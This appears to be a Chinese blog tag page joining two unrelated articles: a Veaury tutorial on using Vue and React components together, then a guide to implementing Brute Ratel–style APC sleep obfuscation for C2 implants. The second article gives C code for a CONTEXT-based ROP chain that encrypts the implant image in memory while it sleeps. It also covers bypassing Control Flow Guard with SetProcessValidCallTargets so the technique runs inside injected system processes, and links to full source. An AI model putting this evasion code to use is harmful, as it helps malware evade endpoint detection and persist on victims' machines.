标签 CONTEXT 下的文章

前端开发者常常面临这样的困境:Vue项目需要使用React生态的优秀组件,或者React项目想引入Vue的优雅解决方案。过去,这几乎意味着需要完全重写或寻找笨重的替代方案。

今天介绍的Veaury将彻底改变这一局面。这是一个专门设计用于在Vue和React之间实现无缝互操作的工具库。

核心问题与挑战

在实际开发中,跨框架组件复用面临诸多挑战:

  1. 上下文隔离:Vue和React有各自独立的上下文系统,数据传递困难
  2. 生命周期不匹配:两个框架的生命周期模型完全不同
  3. 事件系统差异:Vue使用自定义事件,React使用合成事件
  4. 渲染机制不同:Vue基于模板,React基于JSX

Veaury的技术实现原理

Veaury通过高阶组件(HOC)的方式,在两种框架之间搭建桥梁。其核心思路是:

// 简化版实现原理示意
function createCrossFrameworkWrapper(OriginalComponent, targetFramework) {
  return function Wrapper(props, context) {
    // 处理props转换
    const convertedProps = convertProps(props, targetFramework);
    
    // 处理上下文传递
    const frameworkContext = adaptContext(context, targetFramework);
    
    // 根据目标框架选择渲染方式
    if (targetFramework === 'vue') {
      return renderAsVue(OriginalComponent, convertedProps, frameworkContext);
    } else {
      return renderAsReact(OriginalComponent, convertedProps, frameworkContext);
    }
  };
}

主要特性

1. 完整的Vue 3支持

  • 支持Composition API和Options API
  • 支持Teleport、Suspense等Vue 3特性
  • 完整的响应式系统集成

2. 双向上下文共享

// React组件可以访问Vue的provide/inject
// Vue组件可以访问React的Context
const SharedComponent = ({ theme }) => {
  // theme可以来自Vue的provide或React的Context
  return <div className={`theme-${theme}`}>共享主题</div>;
};

3. 纯模式(Pure Mode)

消除包装器带来的额外DOM元素,保持组件树的整洁:

// 使用纯模式包装
const PureReactComponent = applyPureReactInVue(ReactComponent);
// 渲染结果没有额外的div包裹

4. 生命周期映射

Veaury智能地映射两个框架的生命周期:

Vue 生命周期React 等效
onMounteduseEffect(() => {}, [])
onUpdateduseEffect(() => {})
onUnmounteduseEffect(() => () => {})

实际应用示例

场景一:在Vue项目中使用React组件

<template>
  <div>
    <h2>Vue组件主体</h2>
    <!-- 直接使用React组件 -->
    <ReactDataTable :data="tableData" @row-click="handleRowClick" />
  </div>
</template>

<script setup>
import { ref } from 'vue';
import { applyPureReactInVue } from 'veaury';
import ReactDataTable from './ReactDataTable.jsx';

// 将React组件转换为Vue可用的组件
const ReactDataTable = applyPureReactInVue(ReactDataTable);

const tableData = ref([
  { id: 1, name: '项目A', value: 100 },
  { id: 2, name: '项目B', value: 200 }
]);

const handleRowClick = (rowData) => {
  console.log('行点击事件:', rowData);
  // 处理来自React组件的事件
};
</script>

场景二:在React项目中使用Vue组件

import React, { useState } from 'react';
import { applyVueInReact } from 'veaury';
import VueRichEditor from './VueRichEditor.vue';

const RichEditor = applyVueInReact(VueRichEditor);

function App() {
  const [content, setContent] = useState('');
  const [isDarkMode, setIsDarkMode] = useState(false);

  const handleContentChange = (newContent) => {
    setContent(newContent);
    // 处理来自Vue组件的事件
  };

  return (
    <div className={isDarkMode ? 'dark-theme' : 'light-theme'}>
      <h1>React应用中的Vue富文本编辑器</h1>
      <RichEditor
        modelValue={content}
        onUpdate:modelValue={handleContentChange}
        darkMode={isDarkMode}
        v-slots={{
          toolbar: () => <div>自定义工具栏</div>
        }}
      />
      <button onClick={() => setIsDarkMode(!isDarkMode)}>
        切换主题
      </button>
    </div>
  );
}

性能考虑

Veaury在性能方面做了大量优化:

  1. 最小化重渲染:通过精细的响应式侦听,避免不必要的重新渲染
  2. 内存效率:合理管理组件实例,避免内存泄漏
  3. 构建优化:支持Tree-shaking,只引入需要的功能

性能对比示例:

// 传统iframe方案 vs Veaury方案
// iframe:独立的DOM、样式和上下文,开销大
// Veaury:共享同一DOM,轻量级包装,性能接近原生

企业级应用实践

案例:低代码平台集成

某低代码平台使用Veaury实现插件系统:

  • 核心框架:Vue 3 + TypeScript
  • 插件生态:支持React和Vue两种插件
  • 实现效果:开发者可使用任意框架开发插件

案例:微前端架构

在微前端场景中,Veaury帮助不同技术栈的子应用共享组件:

// 主应用(Vue)使用子应用(React)的组件库
import { applyPureReactInVue } from 'veaury';
import ReactDesignSystem from 'team-react-ds';

// 在Vue主应用中直接使用React设计系统
const VueWrappedButton = applyPureReactInVue(ReactDesignSystem.Button);
const VueWrappedModal = applyPureReactInVue(ReactDesignSystem.Modal);

配置与构建

Vite配置示例

// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';
import veauryVitePlugins from 'veaury/vite';

export default defineConfig({
  plugins: [
    veauryVitePlugins({
      type: 'vue', // 或 'react',根据主框架选择
      vueOptions: {
        reactivityTransform: true // 启用响应式语法糖
      }
    })
  ],
  optimizeDeps: {
    include: ['veaury']
  }
});

Webpack配置要点

// webpack.config.js
module.exports = {
  module: {
    rules: [
      {
        test: /\.vue$/,
        use: 'vue-loader'
      },
      {
        test: /\.jsx$/,
        use: 'babel-loader',
        options: {
          presets: ['@babel/preset-react']
        }
      }
    ]
  }
};

局限性说明

尽管Veaury功能强大,但仍有一些限制:

  1. 部分高级特性:某些框架特定的高级特性可能不完全支持
  2. 开发体验:调试时需要了解两种框架
  3. 学习成本:团队需要同时熟悉Vue和React

总结

对于需要在Vue和React之间搭建桥梁的项目,Veaury提供了一个成熟、稳定的解决方案。无论是新项目技术选型,还是老项目现代化改造,都值得考虑这一工具。

技术栈不应成为创新的约束,而应是实现目标的工具。 Veaury正是这一理念的实践,让开发者能够专注于创造价值,而不是被框架之争所困扰。

本文由mdnice多平台发布

0x01.前言 在上一篇文章中,分析了BRC4如何利用APC来进行睡眠混淆的。本篇文章中将通过逆向出来的代码作为参考,但可能会有差异,一步步实现APC睡眠混淆加密整个可执行程序。以及如何在C2中集成APC睡眠混淆。 0x02.实现APC睡眠混淆 通过之前的分析我们知道Badger中创建了一个线程(TpReleaseCleanupGroupMembers + 0x450),然后利用了这个线程来获取正常的CONTEXT结构。实现代码如下,实现时为了简单起见,有些地方不使用Nt*Zw*的函数,实际中为了opsec是有必要写的,但这里主要起到演示作用。

C

复制代码
LPVOID TpReleaseCleanupGroupMembers_450 = (UINT_PTR)GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpReleaseCleanupGroupMembers") + 0x450;

DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, TpReleaseCleanupGroupMembers_450, NULL, CREATE_SUSPENDED, &dwThreadId);

然后根据这个线程句柄,获取CONTEXT,并复制到所有的CONTEXT中。

C

复制代码
if (!GetThreadContext(ThreadHandle, &CtxThread)) {
printf("GetThreadContext failed With Error:%lu\n", GetLastError());
return FALSE;
}

memcpy(&RopWaitFor, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSleep, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopRtlEtTd, &CtxThread, sizeof(CONTEXT));

现在就可以构造ROP链了,在每一个CONTEXT结构的返回地址写NtTestAlert函数的地址,也就是Rsp寄存器。这样做为了确保能够执行完所有的APC队列回调。 ROP链执行的函数依次为WaitForSingleObject、VirtualProtect、SystemFunction032、WaitForSingleObjectEx、SystemFunction032、VirtualProtect、RtlExitUserThread。我们逆向badger的这个ROP链会发现还会执行ZwGetContextThread -> ZwSetContextThread -> ... -> ZwSetContextThread。之前说过了,这里就是备份一份当前线程(构造ROP链的线程)的CONTEXT结构,然后设置获取fake CONTEXT,主要是为了进行堆栈欺骗,睡眠完成后,在将备份的CONTEXT还原。

C

复制代码
RopWaitFor.Rcx = StartEventHandle;
RopWaitFor.Rdx = INFINITE;
*(PULONG64)RopWaitFor.Rsp = (ULONG64)pNtTestAlert;
RopWaitFor.Rip = WaitForSingleObject;

RopProtRW.Rcx = ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = &oldProtect;
*(PULONG64)RopProtRW.Rsp = (ULONG64)pNtTestAlert;
RopProtRW.Rip = VirtualProtect;

RopMemEnc.Rcx = &Image;
RopMemEnc.Rdx = &Key;
RopMemEnc.Rip = SystemFunction032;
*(PULONG64)RopMemEnc.Rsp = (ULONG64)pNtTestAlert;

RopSleep.Rcx = (HANDLE)-1;
RopSleep.Rdx = SleepTimes * 1000;
RopSleep.R8 = FALSE;
*(PULONG64)RopSleep.Rsp = (ULONG64)pNtTestAlert;
RopSleep.Rip = WaitForSingleObjectEx;

RopMemDec.Rcx = &Image;
RopMemDec.Rdx = &Key;
*(PULONG64)RopMemDec.Rsp = (ULONG64)pNtTestAlert;
RopMemDec.Rip = SystemFunction032;

RopProtRX.Rcx = ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = &oldProtect;
*(PULONG64)RopProtRX.Rsp = (ULONG64)pNtTestAlert;
RopProtRX.Rip = VirtualProtect;

QueueUserAPC将这些CONTEXT依次插入TpReleaseCleanupGroupMembers + 0x450入口点线程的APC队列,NtAlertResumeThread准备执行APC,NtSignalAndWaitForSingleObject信号StartEventHandle开始执行APC,并等待TpReleaseCleanupGroupMembers + 0x450入口点线程退出。

实现的代码和逆向Brc4的badger睡眠混淆代码基本一致,效果如下:

image-20260113103244238.png

采用固定密钥的话使用SystemFunction032每次加密的内容均相同,我们加密可以使用SystemFunction040,在msdn中被描述为RtlEncryptMemory。

image-20260113103757964.png

解密可以使用SystemFunction041,在msdn中被描述为RtlDecryptMemory。

image-20260113104310662.png

关键是加密的使用使用的是系统内部派生密钥,每次随机密钥加密,使用起来更加方便安全。 0x03.CFG Bypass 这样的代码注入到开启CFG的系统进程中还是会引发崩溃,需要Bypass CFG,在编译属性中开启/guard:cf

image-20260113105028177.png

重新编译后再次允许程序会崩溃,查看异常代码对应0xC0000409(STATUS_STACK_BUFFER_OVERRUN),正是由CFG引起的。在APC队列中回调函数为NtContinue,在开启CFG的情况下,它在CFG的无法间接调用的函数列表,所以会引发错误。

image-20260113105128374.png

我们需要绕过CFG,Brc4 Badger是利用的SetProcessValidCallTargets。

image-20260113114858654.png

SetProcessValidCallTargets在msdn上的定义如下。第一个参数为当前进程句柄。第二参数为目标标记为有效的虚拟内存区域的开始,调试发现传入的地址为ntdll的起始(qword_1003C7C8),这也符合Badger添加到CFG允许列表都是位于ntdll中的函数。第三个参数为虚拟内存区域的大小,需要做按页对齐操作。第四个参数表示添加到CFG允许列表个数为1。最后一个参数为相对于虚拟内存范围的偏移量和标志的列表,指向CFG_CALL_TARGET_INFO结构。此结构的第一个参数函数地址减去ntdll起始地址。第二个参数很重要,描述要对地址执行的操作的标志。 如果设置了CFG_CALL_TARGET_VALID(1),则地址将标记为对CFG有效,从而绕过CFG保护。

image-20260113145013617.png


image-20260113121049401.png

image-20260113145748993.png

整个过程很清楚了,但还需最后一步,判断当前进程是否开启CFG。一种通用的方法是根据PE OptionalHeader的DllCharacteristics来判断编译的时候是否根据CFG来编译的。

image-20260113150817207.png

判断是否开启CFG,以及添加CFG允许列表的相关代码如下,对应Kernel32中也需要实现一个相同的函数来添加VritualProtect和WaitForSingleObject、WaitForSingleObjectEx。执行SetProcessValidCallTargets出现的87错误代码我们直接跳过,这个错误表示目标地址没有受到CFG的保护。

完整的代码我放在github上了,参考 https://github.com/CDipper/SleepMaskingByAPC 查看SetProcessValidCallTargets不难发现,内部就是调用了NtSetInformationVirtualMemory,国外有老哥根据此API二次开发了Ekko(利用计时器队列进行睡眠混淆,很常用,容易被杀),参考 https://github.com/Crypt0s/Ekko_CFG_Bypass/blob/main/Ekko_CFG_Bypass/CFG.c

image-20260114103903645.png

0x04.C2中使用Sleeping Mask C2中使用Sleeping Masking就是在我们的马中每次睡眠的时候把马全部加密不就行了吗?其实并非如此,如果全部加密,对于一些持久化任务(例如keylogger等)执行就会崩溃,这是显然的。在Cobalt Strike中睡眠混淆是在arsenal-kit中实现,其当然也不是将beacon的内存全部加密,Brc4中也是如此。 Cobalt Strike 4.4中首次引入Sleeping Mask的概念。一开始只是简单对一些特征进行加密,后面随着版本的更新逐渐支持对beacon堆内存的加密,以及对更多的内存进行加密。Ekko项目出现了之后,Cobalt Strike也进行了支持,能够加密Sleep Mask的代码,也就是解决了自己不能加密自己的问题。默认的Sleep Mask相关加密代码是能够被类似Elastic等优秀yara规则检测到的,所以加密Sleep Mask的代码很有必要。

image-20241126195748278.png


后面又逐步支持堆栈欺骗,基于LLVM的代码变异技术实现动态生成Sleep Mask,BeaconGate...... 所以在写自己的马时,需要考虑到哪部分内存我能够加密的,那部分内存我不能够加密,往往加密的可能是一块敏感字符串等,以及那块加密代码。